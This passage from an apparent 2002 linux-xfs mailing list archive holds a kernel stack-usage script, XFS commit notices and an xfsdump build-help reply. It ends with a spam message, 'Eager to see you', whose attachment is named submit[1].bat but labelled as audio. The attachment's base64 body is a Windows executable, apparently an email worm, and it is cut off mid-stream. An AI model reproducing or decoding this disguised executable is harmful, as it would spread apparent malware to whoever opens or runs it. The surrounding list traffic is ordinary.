$(/sbin/modprobe -l)'. No need to compile the kernel with frame pointers. Now I have to go and fix all the large kdb allocations :(. #!/bin/bash # # Run a compiled ix86 kernel and print large local stack usage. # # />:/{s/[<>:]*//g; h; } On lines that contain '>:' (headings like # c0100000 <_stext>:), remove <, > and : and hold the line. Identifies # the procedure and its start address. # # /subl\?.*\$0x[^,][^,][^,].*,%esp/{ Select lines containing # subl\?...0x...,%esp but only if there are at least 3 digits between 0x and # ,%esp. These are local stacks of at least 0x100 bytes. # # s/.*$0x\([^,]*\).*/\1/; Extract just the stack adjustment # /^[89a-f].......$/d; Ignore lines with 8 digit offsets that are # negative. Some compilers adjust the stack on exit, seems to be related # to goto statements # G; Append the held line (procedure and start address). # s/\(.*\)\n.* \(.*\)/\1 \2/; Remove the newline and procedure start # address. Leaves just stack size and procedure name. # p; }; Print stack size and procedure name. # # /subl\?.*%.*,%esp/{ Selects adjustment of %esp by register, dynamic # arrays on stack. # G; Append the held line (procedure and start address). # s/\(.*\)\n\(.*\)/Dynamic \2 \1/; Reformat to "Dynamic", procedure # start address, procedure name and the instruction that adjusts the # stack, including its offset within the proc. # p; }; Print the dynamic line. # # # Leading spaces in the sed string are required. # objdump --disassemble "$@" | \ sed -ne '/>:/{s/[<>:]*//g; h; } /subl\?.*\$0x[^,][^,][^,].*,%esp/{ s/.*\$0x\([^,]*\).*/\1/; /^[89a-f].......$/d; G; s/\(.*\)\n.* \(.*\)/\1 \2/; p; }; /subl\?.*%.*,%esp/{ G; s/\(.*\)\n\(.*\)/Dynamic \2 \1/; p; }; ' | \ sort From owner-linux-xfs@oss.sgi.com Tue Aug 27 19:22:35 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 19:22:39 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S2MYtG004179 for ; Tue, 27 Aug 2002 19:22:35 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id VAA31141 for ; Tue, 27 Aug 2002 21:25:59 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id VAA93240 for ; Tue, 27 Aug 2002 21:25:59 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7S2O5c08910; Tue, 27 Aug 2002 21:24:05 -0500 Message-Id: <200208280224.g7S2O5c08910@stout.americas.sgi.com> Date: Tue, 27 Aug 2002 21:24:05 -0500 Subject: TAKE - Tidy up locking changes a bit X-archive-position: 91 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Just cosmetic stuff, I had notes to Steve in comments, take those out. :) And change the order of a couple of locks for consistency & cosmetics... Date: Tue Aug 27 19:21:15 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126213a linux/fs/xfs/xfs_vnodeops.c - 1.558 - Remove extraneous comments, re-order unlocks (cosmetic) From owner-linux-xfs@oss.sgi.com Tue Aug 27 20:43:04 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 20:43:10 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S3h3tG005696 for ; Tue, 27 Aug 2002 20:43:03 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id UAA08524 for ; Tue, 27 Aug 2002 20:46:31 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id NAA13294; Wed, 28 Aug 2002 13:45:03 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7S3ioCV001682; Wed, 28 Aug 2002 13:44:50 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7S3inFw001680; Wed, 28 Aug 2002 13:44:49 +1000 Date: Wed, 28 Aug 2002 13:44:49 +1000 From: Nathan Scott To: root@larry.minfin.government.bg.sgi.com Cc: compile@larry.minfin.government.bg.sgi.com, linux-xfs@oss.sgi.com, problem@larry.minfin.government.bg.sgi.com Subject: Re: xfsdump Message-ID: <20020828034449.GB507@frodo> References: <20020826200335.5520.qmail@larry.minfin.government.bg> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020826200335.5520.qmail@larry.minfin.government.bg> User-Agent: Mutt/1.4i Content-Transfer-Encoding: 8bit X-archive-position: 92 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs On Mon, Aug 26, 2002 at 08:03:35PM -0000, root@larry.minfin.government.bg.sgi.com wrote: > i have errors trying to compile xfsdump > > error output is follow: > > === invutil === > gcc -O1 -g -DDEBUG -funsigned-char -Wall -DDUMP -DBASED -DDOSOCKS -DINVCONVFIX -DSIZEEST -DPIPEINVFIX -I../include -I/usr/include/xfs -I/usr/include/attr '-DVERSION="2.1.5"' -D_FILE_OFFSET_BITS=64 -D_GNU_SOURCE -DXFS_BIG_FILES=1 -DXFS_BIG_FILESYSTEMS=1 -I../include -I/usr/include/xfs -I/usr/include/attr -c -o inv_files.o inv_files.c > gcc -O1 -g -DDEBUG -funsigned-char -Wall -DDUMP -DBASED -DDOSOCKS -DINVCONVFIX -DSIZEEST -DPIPEINVFIX -I../include -I/usr/include/xfs -I/usr/include/attr '-DVERSION="2.1.5"' -D_FILE_OFFSET_BITS=64 -D_GNU_SOURCE -DXFS_BIG_FILES=1 -DXFS_BIG_FILESYSTEMS=1 -I../include -I/usr/include/xfs -I/usr/include/attr -c -o invutil.o invutil.c > /usr/bin/libtool --mode=link gcc -o xfsinvutil inv_files.o invutil.o /usr/lib/libuuid.a @libcurses@ > mkdir .libs > gcc -o xfsinvutil inv_files.o invutil.o @libcurses@ /usr/lib/libuuid.a > gcc: @libcurses@: No such file or directory > make[1]: *** [xfsinvutil] Error 1 > make: *** [default] Error 2 > > this is tofdays CVS snapshot (26/08/2002) > system is fresh install of slackware 8.1 with CVS 2.4.19-xfs kernel hi, Can you first try: # cd cmd/xfsdump # make distclean # make and if that doesn't help, send me the output that the configure script generates and also the include/builddefs file it creates. thanks. -- Nathan From owner-linux-xfs@oss.sgi.com Tue Aug 27 20:46:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 20:46:15 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S3kCtG006112 for ; Tue, 27 Aug 2002 20:46:12 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id UAA05070 for ; Tue, 27 Aug 2002 20:49:40 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id NAA19285; Wed, 28 Aug 2002 13:48:11 +1000 (EST) Date: Wed, 28 Aug 2002 13:48:11 +1000 (EST) From: Nathan Scott Message-Id: <200208280348.NAA19285@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Cc: agruen@suse.de Subject: TAKE - attr X-archive-position: 93 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Date: Tue Aug 27 20:47:38 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:126219a cmd/attr/VERSION - 1.21 cmd/attr/doc/CHANGES - 1.26 cmd/attr/debian/changelog - 1.22 - bump version, document changes. cmd/attr/libattr/syscalls.c - 1.14 - Add m68k syscalls, fix up Alpha ones (missing "enabling" #define). From owner-linux-xfs@oss.sgi.com Tue Aug 27 20:53:34 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 20:53:36 -0700 (PDT) Received: from out001.verizon.net (out001pub.verizon.net [206.46.170.140]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S3rYtG006636 for ; Tue, 27 Aug 2002 20:53:34 -0700 Received: from Vff ([207.82.209.209]) by out001.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with SMTP id <20020828035658.BIAT5628.out001.verizon.net@Vff> for ; Tue, 27 Aug 2002 22:56:58 -0500 From: tiff To: linux-xfs@oss.sgi.com Subject: Eager to see you MIME-Version: 1.0 Content-type: text/plain Message-Id: <20020828035658.BIAT5628.out001.verizon.net@Vff> Date: Tue, 27 Aug 2002 22:56:59 -0500 Content-Transfer-Encoding: 8bit X-archive-position: 94 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tiff@olympiakos.com Precedence: bulk X-list: linux-xfs --C5BA842x800qu1i96a Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --C5BA842x800qu1i96a Content-Type: audio/x-wav; name=submit[1].bat Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 